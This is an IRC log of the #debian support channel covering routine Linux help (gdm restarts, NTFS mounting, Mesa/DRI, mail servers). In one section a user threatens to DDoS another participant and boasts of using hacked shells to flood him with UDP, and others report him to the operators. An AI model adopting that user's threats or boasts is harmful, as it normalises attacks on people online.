| 17:41.57 | tulioanjos | new channel: #illegalstuff |
| 17:42.03 | BuNnYy | apache web server Mysql phpmyadmin php |
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| 17:42.25 | tulioanjos | [13:42:25] -ChanServ- The channel [#illegalstuff] is now registered under your nickname. |
| 17:42.28 | *** part/#debian Rashh (n=asd@host166-110.pool8251.interbusiness.it) |
| 17:42.38 | abrotman | tulioanjos: we don't care .. go there .. leave us alone |
| 17:42.38 | jfs | Brov: append '> /dev/null 2>&1' to redirect stderr and stdout to /dev/null |
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| 17:42.58 | stew | tulioanjos: illegal stuff is not welcome on this network, and is off topic for this channel |
| 17:43.35 | wols_ | stew: why? he can discuss libdecss all day long there! |
| 17:43.39 | ke6isf | BuNnYy: That is a list of services. That is not a list of items it is dispensing. You didn't answer my question. |
| 17:43.50 | abrotman | it's libdvdcss .. |
| 17:43.52 | tulioanjos | hi guys, i want help, i got apache running under vmware |
| 17:43.52 | tulioanjos | but no one can acess outside |
| 17:43.53 | wols_ | ke6isf: do you really wanna know? |
| 17:43.56 | tulioanjos | ttp:201.3.13.162:1337 *** |
| 17:44.03 | abrotman | tulioanjos: go ask #vmwave |
| 17:44.05 | abrotman | tulioanjos: go ask #vmware |
| 17:44.09 | wols_ | abrotman: whatever :). they can always switch to libaacs now |
| 17:44.10 | stew | wols_: ask #freenode, or refer to the policies on freenode.net |
| 17:44.34 | wols_ | tulioanjos: do you know what port forwarding is? |
| 17:44.37 | BuNnYy | ke6isf never mine |
| 17:44.38 | eieiyo | got a question about installing kde for debian 3.1..... is there any website that shows how to do this? |
| 17:44.48 | wols_ | eieiyo: apt-get install kde |
| 17:44.48 | ke6isf | wols_: Probably not. |
| 17:44.49 | tulioanjos | wols_: my router is configured to forward all ports |
| 17:44.49 | wols_ | done |
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| 17:44.51 | tulioanjos | 0-65xxx |
| 17:45.00 | tulioanjos | BIMAP and RDR rule |
| 17:45.03 | stew | eieiyo: /msg dpkg install kde |
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| 17:45.08 | tulioanjos | vmware is acessing the internet, normal |
| 17:45.09 | eieiyo | i did that.. but i did not know how to start kde |
| 17:45.12 | wols_ | tulioanjos: it forwards to your linux box. NOT your vmware. now go away |
| 17:45.21 | stoned | or apt-get install kde |
| 17:45.32 | tulioanjos | 84.157.216.21 |
| 17:45.32 | wols_ | eieiyo: apt-get install kdm |
| 17:45.34 | tulioanjos | i'm gone ddos you |
| 17:45.35 | tulioanjos | ya |
| 17:45.36 | tulioanjos | cya |
| 17:45.47 | stoned | huh |
| 17:45.49 | ke6isf | !ops tulioanjos gave threat to ddos |
| 17:45.49 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: tulioanjos gave threat to ddos |
| 17:45.52 | wols_ | !ops please ban tulioanjos for threatening a DDOS |
| 17:45.52 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: please ban tulioanjos for threatening a DDOS |
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| 17:46.10 | tulioanjos | wols_ is being DDoSed |
| 17:46.11 | stoned | lol |
| 17:46.11 | tulioanjos | who bnext ? |
| 17:46.15 | stoned | tattle tail |
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| 17:46.21 | eieiyo | i just did not know how to start kde... i read something online about sources.list? but i was not sure if this was correct |
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| 17:46.33 | tulioanjos | wols_ is being DDoSed |
| 17:46.33 | tulioanjos | who bnext ? |
| 17:46.38 | blondie | lol |
| 17:46.41 | ke6isf | Is there a channel for ircops? |
| 17:46.45 | blondie | freenode |
| 17:46.47 | blondie | # |
| 17:46.50 | jfs | this is an evil one, running apache on port 1337 (: |
| 17:46.57 | godmachine81 | can someone help me, I need to change my repos.. The one I was using has become slow and it no longer has a GPG key.. can someone help me redo my repositories?? preferably someone using Sid.. i |
| 17:47.10 | blondie | tulioanjos: you're installind MS DOS for him??? |
| 17:47.12 | Brov | Tried "/etc/init.d/gdm restart & > /dev/null 2>&1" but it still doesn't restart gdm |
| 17:47.12 | abrotman | ke6isf: #freenode .. or /stats p .. though last time an ircop came . and he shut up |
| 17:47.16 | tulioanjos | no |
| 17:47.20 | tulioanjos | two 100mbps hacked shell |
| 17:47.27 | tulioanjos | ddosing thourgh udp protocol |
| 17:47.27 | abrotman | tulioanjos: SHUT UP AND DIE |
| 17:47.28 | blondie | ah, well I'm safe then |
| 17:47.30 | stoned | one who doesn't know how to do such a simple task should NOT I repeat should NOT run sid |
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| 17:47.47 | Tallu | Hey guys. We have a script kiddie with us on this glorious day! |
| 17:47.55 | |splat| | can debian/linux mount NTFS partitions? |
| 17:47.55 | Ronin | Tallu: it is sunday after all |
| 17:48.05 | godmachine81 | stoned i know how to do it i just need the hostnames that someone can verify works good and runs fast |
| 17:48.07 | jfs | |splat|: yes |
| 17:48.09 | blondie | |splat|: it read-only yes, read-write is dangerous |
| 17:48.16 | godmachine81 | i dont need to know how to actually do it |
| 17:48.16 | ke6isf | #freenode is forwarding to an overflow. =/ |
| 17:48.20 | stoned | godmachine81, apt-spy |
| 17:48.23 | abrotman | try ##bookmark ? |
| 17:48.24 | stoned | man it |
| 17:48.24 | Tallu | Ronin: true that! |
| 17:48.29 | resiak | ke6isf: ##bookmark is the new #freenode |
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| 17:48.43 | ke6isf | abrotman,resiak: Did. It's +m, can't talk. /stats p it is. |
| 17:48.50 | godmachine81 | apt-spy? |
| 17:48.53 | abrotman | ke6isf: i can talk there :) |
| 17:49.04 | stoned | godmachine81, look it up |
| 17:49.05 | ke6isf | abrotman: Tag, you're it. |
| 17:49.07 | wols | !ops tulioanjos did DOS me from IP 205.252.89.78 |
| 17:49.08 | dpkg | Hydroxide, bob2, caphuso, dondelelcaro, doogie, eeyore-, ElectricElf, ):, helix, ljlane, LoRez, RichiH, mentor, Netsnipe, TML, walters, xk, gravity, azeem: tulioanjos did DOS me from IP 205.252.89.78 |
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| 17:49.17 | godmachine81 | stoned: apt-spy isnt a valid command |
| 17:49.18 | abrotman | wols: go to #freenode |
| 17:49.22 | tulioanjos | wols thats spoofed |
| 17:49.26 | abrotman | ke6isf: i tried once today |
| 17:49.26 | tulioanjos | wols moron |
| 17:49.31 | stoned | godmachine81, you have to install it. once again, you shouldn't be running sid |
| 17:49.43 | ke6isf | abrotman: Just tried. Nil. |
| 17:49.50 | godmachine81 | stoned i shouldnt be running sid... why?? |
| 17:49.57 | stoned | oh geez |
| 17:50.01 | ke6isf | godmachine81: IYHTAYS |
| 17:50.04 | godmachine81 | i do know what im doing... |
| 17:50.17 | jfs | |splat|: rw into an container using the native windows ntfs drivers works well and stable. there is even a distro available that runs on ntfs this way. creating new files or changing the size of files is very unstable |
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| 17:50.40 | |splat| | i'm on windows xp right now and i fucked up the registry yesterday, so i figure this would be a good time to change over, but i want to make a back up to my 2nd HD, which is NTFS |
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| 17:50.57 | blondie | Ts0p: bad |
| 17:50.59 | abrotman | !tell Ts0p about away |
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| 17:51.07 | ke6isf | !ntfs |
| 17:51.08 | dpkg | i guess ntfs is Microsoft's attempt to create a Unix-like filesystem. linux-ntfs.sourceforge.net is a good source of information. you need umask=022,gid=xxx to access the partition as non-root. See also http://linuxmafia.com/faq/Filesystems/ntfs.html, or ask me about captiventfs |
| 17:51.15 | abrotman | !ntfsro |
| 17:51.15 | dpkg | add a line similar to: /dev/hdd1 /mnt/hdd1 ntfs ro,user,auto,gid=24,uid=1001,fmask=0333,dmask=0222 to your fstab... change the hdxx and uid, and maybe the gid if you want. |
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| 17:51.27 | wols | I did message christel already. but she won't answer |
| 17:51.28 | stoned | |splat|, you can mount your ntfs disk under linux, copy your data over to a linux partition, and then have the option of converting(formatting) your ntfs disk to another linux disk |
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| 17:51.41 | debiannub | hi how i deinstall a programm? |
| 17:51.42 | abrotman | wols: did he give up ? |
| 17:51.49 | abrotman | !tell debiannub about grounding |
| 17:51.53 | wols | abrotman: I have a dynamic IP. i changed it |
| 17:51.58 | ke6isf | abrotman: To note, I already /msg'ed christsel. |
| 17:52.00 | abrotman | wols: ah ok |
| 17:52.09 | wols | I timed out here, then reconnected to my IP. but I still want him klined |
| 17:52.15 | wols | *ISP |
| 17:52.20 | abrotman | ke6isf: i had told BearPearson earlier .. but he left |
| 17:52.24 | ke6isf | wols: It is a kline'able offense. |
| 17:52.26 | nvz | bye bye |
| 17:52.31 | nvz | :) |
| 17:52.32 | abrotman | yay! |
| 17:52.37 | LsD- | lol |
| 17:52.39 | Brov | Trying to run 'sudo /etc/init.d/gdm restart' in script called from X. GDM Closes but DOESN't restart. Tried 'sudo /etc/init.d/gdm restart & > /dev/null 2>&1' |
| 17:52.41 | ke6isf | Msg back. Done, QED. |
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| 17:52.46 | wols | ke6isf: I know. that's why I want it. tho: I dunno if he has a dyn ip as well. probably |
| 17:53.02 | abrotman | yes .. but he always joins as denis@blahblahblah.br |
| 17:53.13 | ke6isf | abrotman: Makes the kline easy. |
| 17:53.15 | |splat| | stoned: i'm thinking i might have to do that...i guess i'll have to go thru and remove all the junk, so i can save what i really need and remove what I don't, then format it for use in linux |
| 17:53.15 | abrotman | he was here last week |
| 17:53.31 | jfs | Brov: without the first & |
| 17:53.37 | *** part/#debian bertos (n=debil@arw206.neoplus.adsl.tpnet.pl) |
| 17:53.37 | ke6isf | It's an IP kline. |
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| 17:53.48 | abrotman | i'm sure we'll know |
| 17:53.57 | abrotman | be so much easier IF WE HAD AN OP AROUND! :) |
| 17:53.59 | wols | Brov: run it with "nohup" prepended perhaps? |
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| 17:54.19 | stoned | im sure if he is able to ddos he aslo has access to irc proxies |
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| 17:54.42 | LsD- | just call his ISP... i would. |
| 17:54.43 | stoned | in which case he'll keep comin back if he is intent on it |
| 17:54.44 | abrotman | well .. if he comes back .. it's ban evasion .. reason to be banned again |
| 17:54.51 | wols__ | yay! he ddosed me again |
| 17:54.54 | blondie | abrotman: the most stupid thing you can say! |
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| 17:55.02 | abrotman | wols__: get a host mask? |
| 17:55.05 | abrotman | blondie: huh? |
| 17:55.13 | stoned | ddos, how do you trace that? |
| 17:55.15 | stoned | lol |
| 17:55.20 | stoned | :) |
| 17:55.21 | ke6isf | abrotman: Is there any way to get sort of a "shit list" notifier, so when undesireables come back people are notified somehow? |
| 17:55.21 | blondie | abrotman: "it's ban evasion - reason to be banned" RIIIIGHT |
| 17:55.22 | wols__ | abrotman: all I can see is his spoofed UDP packets |
| 17:55.27 | wols__ | so rather no |
| 17:55.29 | stoned | its a D dos not a dos |
| 17:55.34 | abrotman | blondie: it is? :) |
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| 17:55.43 | wols__ | anyone know if br telecom gives a shit about abuse complaints? |
| 17:55.48 | abrotman | BearPerson: you came back! |
| 17:55.53 | Brov | Trying to run 'sudo /etc/init.d/gdm restart' in script called from X. GDM Closes but DOESN't restart. Tried 'sudo /etc/init.d/gdm restart & > /dev/null 2>&1' |
| 17:56.00 | abrotman | wols__: based on the amount of abuse .. what do you think? |
| 17:56.01 | BearPerson | so I did |
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| 17:56.20 | ke6isf | wols__: with the spam coming out of there...you do the math. Easier to just ignore brazil at the router level. |
| 17:56.24 | abrotman | wols__: though you probably could call your ISP and ask them to block it |
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| 17:56.42 | gnufan | Argh --- you can go off sid.... |
| 17:56.44 | LsD- | wols__: i think if you complain enough they will care |
| 17:56.50 | blondie | abrotman: so that ban will also be evaded... and I'm not just means banning that person is pointless |
| 17:56.53 | jfs | Brov: what is wrong with you? learn to read answers |
| 17:57.09 | abrotman | blondie: takes two seconds to kickban |
| 17:57.13 | hypnox | can anyone recommend a good monitoring system? Like mon, but better? |
| 17:57.18 | ke6isf | !tell brov -about repeat |
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| 17:57.27 | stew | lets stop worrying about him for now. i have saved logs for when/if he comes back |
| 17:57.38 | blondie | abrotman: but is ineffective? |
| 17:57.45 | ke6isf | stew: Aw, come on, complaining is fun! =^_^= |
| 17:57.53 | abrotman | blondie: would you rather they stay and abuse the channel ? |
| 17:58.04 | debiannub | blondie: can u tell me again the command for irssi download? |
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| 17:58.16 | blondie | apt-get install irssi-text |
| 17:58.20 | blondie | abrotman: no, but still |
| 17:58.22 | debiannub | thx |
| 17:58.37 | |splat| | i have a amd64 proc, would it be best for me to find a 64-bit distro, or use a normal x86 distro? |
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| 17:58.46 | abrotman | !amd64 |
| 17:58.46 | dpkg | amd64 is, like, See http://www.debian.org/ports/amd64/ and the #debian-amd64 IRC channel, or http://alioth.debian.org/docman/view.php/30192/21/debian-amd64-howto.html, not official yet, will be a supported arch on Etch, or a generic name. it also supports xeon etc, see http://wiki.debian.net/?DebianAMD64Faq. Consider using debian/i386 if you do not have a good reason to use debian/amd64 |
| 17:59.03 | BearPerson | stew, I'd much rather just convince him to stop it, might work with him |
| 17:59.19 | abrotman | i'd pay money to see you try :) |
| 17:59.41 | gnufan | Can people stop developing sid, till I can get my current install issues sorted ;) Every time I try and sort an issue with the new box, apt tells me I'll need 60MB of new packages with whatever software I just decided to switch... install udev -- 80MB -- try to reinstall hotplug -- another load of file... don't they ever sleep. |
| 17:59.53 | stoned | I am loggin into a remote machine through ssh -X. I have enabled network audio with -u -N -p #### for artsd sound server on local machine. I have set ARTS_SERVER on remote machine to point to local machines artsd:port. I am unable to get sound to play from remote, to local. I believe it might be because im using ssh, instead of xdmcp. is my assumption correct? if so, how can I create a tunnel alongside ssh -X that will let the audio |
| 17:59.53 | stoned | traffic come through? |
| 18:00.10 | resiak | gnufan: run Etch maybe? |
| 18:00.14 | Brov | jfs: I have read answers, tried them and they havent worked. I also googled for about 3 hours before 'botering' folk in here. I CANNOT get it to work so am asking for help on a linux help channel |
| 18:00.18 | BearPerson | |splat|, probably better to go 32 bit for now... flash plugin for browsers and that sort of stuff won't work |
| 18:00.28 | BearPerson | abrotman, I already have :) |
| 18:00.35 | gnufan | resiak: or get more bandwidth ;) |
| 18:00.40 | abrotman | BearPerson: paid money? |
| 18:00.48 | wols__ | gnufan: what you ask is like asking redmond to stop putting in security flaws in their software. just not possible |
| 18:00.51 | abrotman | BearPerson: sorry .. i'd pay money to see you try and it work :) |
| 18:01.05 | BearPerson | I might be what made him quit pasting stuff the first time and start trying to debug his kernel panic |
| 18:01.21 | abrotman | or that would be typical troll behaviour |
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| 18:02.08 | BearPerson | from what I've seen about trolls is that they want to be kicked/whatever, not trying to avoid it |
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| 18:02.32 | abrotman | guess we'll find out if he comes back |
| 18:02.43 | BearPerson | yeah |
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| 18:02.44 | jfs | Brov: i can only suggest you #bash, you should give us some more informations about the error. |
| 18:02.57 | BearPerson | if I'm not /away then, send me a message |
| 18:03.28 | debiannub | #debian.de |
| 18:03.31 | debiannub | ops |
| 18:03.33 | debiannub | :) |
| 18:03.36 | Brov | OK well gdm restart obviously wont work, so Does anyone know how I reload Config86-4 from a script called from X |
| 18:03.48 | itguy | what does colors mean in a folder |
| 18:03.48 | wols__ | Brov: have you tried "nohup"? when you stop X with your script you also stop your script itself since it's a child of X |
| 18:03.50 | resiak | Brov: did you try nohup? |
| 18:04.06 | BearPerson | Brov, I'd assume the shutdown takes the script down too... nohup will save it, yeah |
| 18:04.13 | Brov | i will google for nohup thx |
| 18:04.24 | wols | Brov: man nohup |
| 18:04.32 | BearPerson | just put nohup in front of whatever command you call |
| 18:04.51 | abrotman | wols: still happening? |
| 18:04.59 | BearPerson | essentially makes it not get taken down when the parent dies |
| 18:05.05 | nkuttler | itguy: try man ls |
| 18:05.17 | nkuttler | itguy: you can configure it how you want. what do you mean specifically? |
| 18:05.28 | gnufan | I have weird sid issue - installing udev, gives me ide disk errors (basically claims error reading block). I noticed Debian bug 352753, if getting hotplug sorts it on reboot, is it worth trying udev again and figuring out the problem do you thing, or should I stop when I'm ahead? |
| 18:05.28 | jfs | Brov: with gdm, you could also just ctrl+alt+backspace (after you've saved your config) to restart the x session, imho gdm catches the x server exit and restarts it |
| 18:05.42 | wols | abrotman: no |
| 18:05.49 | KalekSeishaken | How do you mount a DVD-RW under Debian 3.1 in a VMware window? |
| 18:05.59 | abrotman | ask #vmware |
| 18:06.04 | wols | so he's not bright enough to evade the ban and get my new IP :) |
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| 18:06.39 | wols | KalekSeishaken: you need to tell vmware about the dvd (the iso file, whatever), then mount it like a normal DVD inside it |
| 18:06.41 | godmachine81 | when using apt-spy would i use the -d testing option for sid? or would it be -d sid? |
| 18:06.55 | resiak | godmachine81: testing /= sid |
| 18:06.57 | wols | testing is etch, and sid is unstable. different things |
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| 18:07.35 | Daemon- | how do i find out which is my root file system ? |
| 18:07.41 | blondie | mount |
| 18:07.44 | wols | Daemon-: df |
| 18:08.16 | godmachine81 | resiak: i tried this apt-spy -d sid -a north-america and i keep getting these 404 errors when connecting to the ftps.. |
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| 18:09.04 | blondie | hmm |
| 18:09.35 | TonyStark | goodevening to everyone |
| 18:09.37 | Daemon- | wols - i got /dev/hdc1 and /tmpfs, how do i know which is my root file system? |
| 18:09.54 | blondie | Daemon-: the former is |
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| 18:10.05 | wols | Daemon-: one is mounted at / the other at /dev/shm. now guess :) |
| 18:10.06 | blondie | Daemon-: you see which is mounted on / |
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| 18:10.15 | TonyStark | I'm trying to install mesa in my pc, but iI don't know exactly what to put on... mesa-dri? or mesa-glx? what's the difference of both? |
| 18:10.26 | debiannub | i cant change my resolution to 1280x1024 ... i installed the ati driver but i got just 1280x800 at 60hz |
| 18:10.31 | rocafella | How do I disable tap-to-click in Debian? I can't find anything in KControl. |
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| 18:10.47 | tchino | do somebody know a channel, where i can ask somethink about latex |
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| 18:10.57 | Daemon- | ohh i see..... the root filesystem is the one mounted on just "/" |
| 18:11.02 | resiak | #bdsm |
| 18:11.05 | rocafella | tchino #condoms |
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| 18:11.19 | wols | resiak: isn't that a *BSD channel? |
| 18:11.24 | Jeaton | im wanting a barebone system, something such as slackware, is debian that? |
| 18:11.26 | KalekSeishaken | wols: All I have is the VMware Player so I can't modify the ISO. |
| 18:11.29 | cahoot | tchino: if it's more than basic I'd post to com.text.tex |
| 18:11.38 | wols | Jeaton: yes, if you install from a netinst iso |
| 18:11.43 | cahoot | tchino: err comp.text.tex |
| 18:11.47 | blondie | Jeaton: if you choose the right install options |
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| 18:11.52 | Padnah | I have changed my distro from sarge to testing. I have upgraded packages last night which involved 359 packages. After download and install I no longer have any apps in my start menu. I am supposing that I must upgrade the remainder of the packages in order for the applications to appear in the menu, but that is merely a guess on my part. I am very new to Linux and do not know the path... |
| 18:11.53 | Padnah | ...that will start the Synaptic Package Manager GUI. Can someone kindly indicate the path and help out a fool? |
| 18:11.54 | stew | rocafella: /msg dpkg synaptics ; the url there shows you the possible settings once you have the driver installed, then set Option "MaxTapTime" "0"; in you server settings |
| 18:12.29 | wols | Padnah: "apt-get install menu" perhaps? |
| 18:12.49 | curt | Padnah, might try update-menus (not as root) |
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| 18:13.13 | godmachine81 | Padnah: do this apt-get dist-upgrade |
| 18:13.21 | Brov | wols__: THANKS! 'nohup /etc/init.d/gdm restart' in script works great! I can '$ sudo /usr/bin/toggledisplay.sh' to restart x |
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| 18:13.52 | willis_ | hi |
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| 18:14.28 | Brov | SO FINALLY! a button on my remote will flick between 2 XF86Config-4's One for an interlaced TV the other for a projector |
| 18:14.56 | blondie | is that legal? |
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| 18:15.14 | wols | blondie: depends who you ask. just don't ask the MPAA :) |
| 18:15.36 | Thanatermesis | abrotman simple curiosity, what thinks the debian devels/comunity about all the U thing/movement ? |
| 18:15.39 | Padnah | wols curt godmachine81 thanks for the suggestions. I will try and see what results I get. |
| 18:15.45 | blondie | heh |
| 18:16.04 | abrotman | Thanatermesis: the 'u' movement ? |
| 18:16.10 | Thanatermesis | bubuntu |
| 18:16.17 | abrotman | oh .. it's OT in #debian |
| 18:16.27 | Thanatermesis | yes, maybe :/ |
| 18:16.58 | curt | or not |
| 18:17.05 | Thanatermesis | hahahaha, good point wols |
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| 18:20.21 | sandman | What's the easiest mailing list server and wiki system to install/setup? |
| 18:20.25 | godmachine81 | sh** why do i keep getting these freakin GPG errors? |
| 18:21.01 | sandman | Which mailing list daemon does Debian use for its mailing list? |
| 18:21.02 | stew | godmachine81: /msg dpkg apt secure ; and look at the /topic |
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| 18:22.40 | yassine | hi anyone of you guys running an xgl based x-server here ? |
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| 18:23.02 | die-Sel | xserver is installed but aint running. i think its cus i selected the wrong driver to use, how do i chane it from command line? |
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| 18:23.26 | resiak | !drxx die-Sel |
| 18:23.26 | dpkg | die-Sel: dpkg-reconfigure xserver-xfree86 [or xserver-xorg if you're using X.org] (as root). If you have edited the X config file by hand, or used some other program like xf86config, ask me about <xmd5> |
| 18:23.46 | LsD- | yassine, yes i am |
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| 18:24.11 | yassine | LsD-, can you point me to place where i can make further reading how to install it please ? |
| 18:24.23 | LsD- | #xgl |
| 18:24.31 | LsD- | look in the topic :P |
| 18:25.20 | yassine | thanks i totally forgot about that one #xgl i did not expected its exist :) |
| 18:25.27 | LsD- | :) |
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| 18:26.29 | abrotman | Thanatermesis: i assume those are for me |
| 18:26.51 | abrotman | Thanatermesis: i'm not a DD .. but it's still OT here |
| 18:27.21 | resiak | godmachine81: Why were you asking me? |
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| 18:27.55 | ice_1963 | is there a good text web browser that i can try.....i have never used one before |
| 18:28.30 | abrotman | links2 ? |
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| 18:29.05 | sandman | sandman: hi |
| 18:29.08 | sandman | oops |
| 18:29.41 | TonyStark | I'm trying to install mesa in my pc, but iI don't know exactly what to put on... mesa-dri? or mesa-glx? what's the difference of both? |
| 18:30.05 | LsD- | TonyStark, what are you using mesa for? |
| 18:30.39 | sm00f | could someone recommend a package that will monitor log files and notifiy via e-mail or run scripts |
| 18:30.54 | LsD- | TonyStark, i used linux-dri-x86 |
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| 18:31.13 | Thanatermesis | abrotman and where is not OT ? i think to its very related with the developement of debian, in any sense, with the packages related for example |
| 18:31.14 | disposable | why is jEdit is no longer available through apt-get? |
| 18:31.17 | TonyStark | LsD-, nto for gaming, but only to explore opengl, opengl programs with hardware aceleration, and cad (if there is any whcich uses it) |
| 18:31.40 | LsD- | use linux-dri-x86 |
| 18:31.41 | ice_1963 | oh well |
| 18:31.53 | Wyzard | TonyStark: Just having X installed should pull in the Mesa libraries you need, I believe |
| 18:32.00 | LsD- | may have to edit configs/linux-dri |
| 18:32.17 | LsD- | depending on your graphics card |
| 18:32.21 | Wyzard | TonyStark: If you have an nVidia or ATI 3D card and want hardware-accelerated 3D, you have to install their proprietary driver |
| 18:32.35 | LsD- | yea that also |
| 18:32.40 | LsD- | :P |
| 18:32.42 | abrotman | Thanatermesis: you'd be wrong :) |
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| 18:33.01 | ke6isf | disposable: What version of Debian are you using? |
| 18:33.02 | TonyStark | Wyzard, i thought that dri was the way to go, I don't like propietary drivers, don't use them at all |
| 18:33.09 | Wyzard | TonyStark: but the Mesa libraries installed as dependencies of X should be enough for software 3D on any card, or hardware 3D on cards which have DRI support (i.e. not nVidia or ATI) |
| 18:33.13 | abrotman | Thanatermesis: go ask #redhat how they feel about Mandriva |
| 18:33.16 | TonyStark | LsD-, what's thge difference between dri and glx? |
| 18:33.19 | Wyzard | TonyStark: What kind of video card do you have? |
| 18:33.20 | abrotman | Wyzard: we'll take you too! |
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| 18:33.32 | disposable | ke6isf: i know it used to be available for stable, but it's not even there anymore when i try to download it. (i'm running etch) |
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| 18:33.55 | TonyStark | Wyzard, an ati7000 (and in a few days an ati9250) |
| 18:33.57 | ke6isf | disposable: Hmm... dunno. Have you searched around on the website? |
| 18:34.27 | Wyzard | TonyStark: GLX is the binding of OpenGL to X11... DRI (Direct Rendering Infrastructure) is a Linux-specific thing that allows a GLX implementation to use hardware acceleration |
| 18:34.34 | disposable | ke6isf: i can still get it from unofficial sources, but it bugs me that it isn't in the debian repository and i'm trying to find out why. |
| 18:35.05 | TonyStark | Wyzard, oh well, then what do I apt-get? mesa-dri? or mesa-glx? |
| 18:35.16 | wols | disposable: you can add stable to your sources.list and get it this way. not a long term solution of course |
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| 18:35.41 | wols | TonyStark: just get X and be done with it? |
| 18:35.44 | ke6isf | disposable: No clue. Could be the same reason as pine. |
| 18:35.51 | sandman | apache2 vs. apache |
| 18:35.59 | disposable | wols: it is no longer in the debian stable repositories. i can only get it from the CD images. |
| 18:36.04 | TonyStark | wols, ? |
| 18:36.10 | Wyzard | TonyStark: You shouldn't need to install any Mesa packages manually |
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| 18:36.26 | wols | typonaise: why do you need it if your soon to be installed ATI driver brings its own anyways? |
| 18:36.28 | resiak | !+info jedit |
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| 18:36.36 | wols | TonyStark: of course |
| 18:36.51 | resiak | dpkg: botsnack |
| 18:36.51 | dpkg | :), resiak |
| 18:36.51 | TonyStark | wols, what ati driver? propietary? |
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| 18:37.20 | Thanatermesis | mmmh, in some part you are right abrotman, but what about the packages ? ubuntu use the experimental packages and debian... i don't know what/how use debian posible ubuntu pacakges |
| 18:37.25 | wols | TonyStark: yes. if you want accelerated 3D it's sadly your only real alternative |
| 18:37.27 | abrotman | now .. if only i could remember where i was going to take Wyzard .. |
| 18:37.32 | Wyzard | TonyStark: Have you actually tried using GL? |
| 18:37.40 | ke6isf | resiak: Wasn't able to pull info out that way either. |
| 18:37.44 | abrotman | Thanatermesis: you should NOT mix distros |
| 18:38.10 | myr | Hi Everybody ! I'd like to set a pop3 server up. Which one do you advise me please ? |
| 18:38.17 | ke6isf | myr: qpopper |
| 18:38.21 | blondie | use imap instead c.c |
| 18:38.35 | ke6isf | myr: No, I take that back, qpopper screws with the spools sometimes. |
| 18:38.39 | myr | no troll please :) I'd like pop3 not imap :) |
| 18:38.40 | wols | use courier: gives both imap and pop3 |
| 18:38.43 | TonyStark | wols, i thoguht dri borught that to linux and x... |
| 18:38.55 | TonyStark | Wyzard, what's GL? openGL? or what? |
| 18:38.56 | blondie | myr: I'm not trolling - imap is far superior to pop3! |
| 18:39.10 | abrotman | Thanatermesis: there's more to the Ubuntu process than just grabbing Debian packages |
| 18:39.19 | abrotman | myr: IMAP~! |
| 18:39.25 | Wyzard | TonyStark: It does, but there's no DRI support for current ATI or nVidia cards -- those manufacturers don't provide enough documentation for good free drivers to be written |
| 18:39.25 | myr | I know, but my boss refuse imap ^^ (I do use imap for me) |
| 18:39.33 | blondie | LART him then. |
| 18:39.34 | Wyzard | TonyStark: Run glxgears and see what happens |
| 18:39.37 | abrotman | myr: dovecot |
| 18:39.46 | wols | TonyStark: if you use ati or nvidia cards, ther is basically no way around their proprietary drivers. older ati cards have a open driver, but only the old ones (8500 era) |
| 18:39.52 | abrotman | or courier |
| 18:40.01 | ke6isf | myr: 'apt-cache --names-only search pop3' and pick one. |
| 18:40.03 | abrotman | wols: R300.sf.net! |
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| 18:40.06 | wols | myr: use courier and you can have both |
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| 18:40.13 | abrotman | ke6isf: that's not a good way to do it |
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| 18:40.17 | wols | abrotman: we're at R530 by now... |
| 18:40.28 | wols | abrotman: R300 was 8500 |
| 18:40.33 | TonyStark | wols, I said i have an ati7000, and dri says that it acelrates the ati9250 series... |
| 18:40.34 | abrotman | wols: and? |
| 18:40.35 | ke6isf | abrotman: *tries it* ...hmm, good point. |
| 18:40.39 | Iraultza | alguien que sepa español? |
| 18:40.43 | abrotman | !es |
| 18:40.43 | dpkg | Hispanohablantes: Por favor usen #debian-es, alli obtendran mas ayuda. Spanish Speakers: Please use #debian-es, there you will get much more help. |
| 18:40.44 | ke6isf | !es |
| 18:40.52 | myr | lol ! thank you very much ! I'm going to try ! |
| 18:40.53 | wols | TonyStark: if you know all that laready, why do you ask us? |
| 18:40.54 | myr | Bye |
| 18:40.57 | TonyStark | Wyzard, i have put dri for my card, and glxgears runs much better and with no flicker... |
| 18:41.08 | abrotman | wols: http://ftp.x.org/pub/X11R7.0/doc/html/radeon.4.html |
| 18:41.11 | AutOPSY | Hey guys.. I need a Debian package, to tar.gz or cpio or something utility. Is there something I can use? I am not on Debian, but I need the linux-headers from a specific kernel, that is in a .deb package. |
| 18:41.17 | TonyStark | wols, i was asking nabout mesa-dri and mesa-glx... |
| 18:41.17 | Wyzard | TonyStark: So it's working now the way you want it? |
| 18:41.32 | Wyzard | TonyStark: The fact that glxgears works at all tells you that Mesa is already installed and working |
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| 18:42.17 | wols | abrotman: 2D only for most of the cards |
| 18:42.42 | wols | AutOPSY: use alien |
| 18:42.47 | TonyStark | Wyzard, apt-cache search mesa says that mesa-dri and mesa-glx exists both of them, annd i asked which one was better in order to have hardware accelration for opengl... |
| 18:42.57 | blondie | all the graphics cards I've seen only do 2D, no 3D |
| 18:43.07 | abrotman | wols: not most .. but most of the more recent ones |
| 18:43.13 | thingfish | oh hi, AutOPSY |
| 18:43.29 | thingfish | I bet you I know which distro *you're* running. ;) |
| 18:43.31 | blondie | how can you get 3D graphics on a 2D monitor? |
| 18:43.33 | abrotman | AutOPSY: ar x |
| 18:43.39 | Thanatermesis | yes, i know abrotman... i don't think this.. i just asking for know what think's debian devels about all the ubuntu things :) |
| 18:43.42 | blondie | I want my holodeck! |
| 18:43.45 | Wyzard | TonyStark: The way to get hardware acceleration is to load the DRM kernel module for your video card |
| 18:43.47 | sandman | What's the easiest way to get moinmoin working in Sarge? |
| 18:43.48 | Thanatermesis | but is ok... maybe ask direclty |
| 18:43.51 | thingfish | blondie: they're nothing but trouble. |
| 18:44.10 | TonyStark | Wyzard, it is loaded |
| 18:44.19 | blondie | thingfish: but if you want 3D :\ |
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| 18:44.33 | AutOPSY | abrotman, ok. I was about to say I am not on Debian.. so I can't use alien.. without alien. I guess. ar x then. |
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| 18:44.43 | Wyzard | TonyStark: glxinfo | grep direct |
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| 18:44.59 | AutOPSY | Hi thingfish. |
| 18:45.07 | thingfish | AutOPSY: why don't you just get the linux-headers for your target kernel? |
| 18:45.08 | TonyStark | Wyzard, direct rendering: Yes |
| 18:45.12 | yang | crap 3388 yang 16 0 846m 564m 17m S 7.6 55.8 736:48.77 mozilla-bin |
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| 18:45.20 | Wyzard | TonyStark: You have hardware acceleration |
